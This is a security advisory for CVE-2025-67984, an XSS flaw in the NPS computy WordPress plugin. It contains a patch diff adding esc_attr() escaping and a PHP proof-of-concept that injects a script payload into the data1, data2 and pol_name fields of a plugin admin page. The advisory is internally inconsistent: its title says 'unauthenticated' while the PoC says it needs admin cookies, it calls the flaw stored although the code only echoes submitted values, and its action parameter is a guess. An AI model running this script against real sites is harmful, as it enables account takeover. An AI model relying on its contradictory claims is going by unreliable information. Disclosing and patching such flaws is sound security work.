CVE-2025-67984: NPS computy <= 2.8.2 – Unauthenticated Stored Cross-Site Scripting (nps-computy)

--- a/nps-computy/class.nps-computy-admin.php
+++ b/nps-computy/class.nps-computy-admin.php
@@ -398,9 +398,9 @@
                     }

                     echo "<form method='post'>
- " . __("From", "nps-computy") . ": <input id='data1' class='input-medium datepicker' type='date' name='data1' value='" . $data1 . "'/>
-  " . __("to", "nps-computy") . ": <input class='input-medium datepicker' type='date' name='data2' value='" . $data22 . "'/>
-   " . __("Poll name", "nps-computy") . ": <input type='text' name='pol_name' value='" . $pol_name_value . "'/>
+ " . __("From", "nps-computy") . ": <input id='data1' class='input-medium datepicker' type='date' name='data1' value='" . esc_attr($data1) . "'/>
+  " . __("to", "nps-computy") . ": <input class='input-medium datepicker' type='date' name='data2' value='" . esc_attr($data22) . "'/>
+   " . __("Poll name", "nps-computy") . ": <input type='text' name='pol_name' value='" . esc_attr($pol_name_value) . "'/>
  <input type='submit' style='margin-top: -3px' class='btn btn-success' value='" . esc_html(__("Calculate", "nps-computy")) . "'>
  </form>

--- a/nps-computy/index.php
+++ b/nps-computy/index.php
@@ -1,7 +1,7 @@
 <?php
 /*
  * Plugin Name:   NPS computy
- * Version:       2.8.2
+ * Version:       2.8.3
  * Text Domain:   nps-computy
  * Plugin URI:    https://computy.ru/blog/plagin-nps-indeks-loyalnosti-klientov-dlya-wordpress/
  * Description:   Free monitoring of the NPS index (NPS) for your business. Simply add the shortcode [nps-computy] to the right place on the site, the rest of the work we will do for you.
@@ -16,7 +16,7 @@
     add_action('init', array('Nps_Computy_Admin', 'init'));
 }
 /*Общие переменные*/
-const NPS_COMPUTY_VERSION = '2.8.2';
+const NPS_COMPUTY_VERSION = '2.8.3';
 define('NPS_COMPUTY_PLUGIN_DIR', plugin_dir_path(__FILE__));

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67984 - NPS computy <= 2.8.2 - Unauthenticated Stored Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2025-67984
 * This demonstrates stored XSS in NPS computy plugin <= 2.8.2
 * Requires valid WordPress authentication cookies for admin access
 */

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin.php?page=nps-computy';

// Malicious payload to inject into form fields
$payload = '"><script>alert(document.domain)</script>';

// Initialize cURL session
$ch = curl_init();

// Set target URL
curl_setopt($ch, CURLOPT_URL, $target_url);

// Enable POST request
curl_setopt($ch, CURLOPT_POST, 1);

// Construct POST data with XSS payload in vulnerable parameters
$post_fields = [
    'data1' => $payload,      // Injects into first date field
    'data2' => $payload,      // Injects into second date field
    'pol_name' => $payload,   // Injects into poll name field
    // Additional required parameters may be needed based on form structure
    'action' => 'nps_computy_calculate' // Example action parameter
];

curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));

// Return response for verification
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Set cookies if authentication required
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=...');

// Execute request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch);
} else {
    // Verify payload was injected
    if (strpos($response, $payload) !== false) {
        echo "Payload successfully injected. Stored XSS achieved.n";
        echo "The script will execute when an administrator views the NPS computy page.n";
    } else {
        echo "Payload injection may have failed. Check authentication and parameters.n";
    }
}

// Close cURL session
curl_close($ch);
?>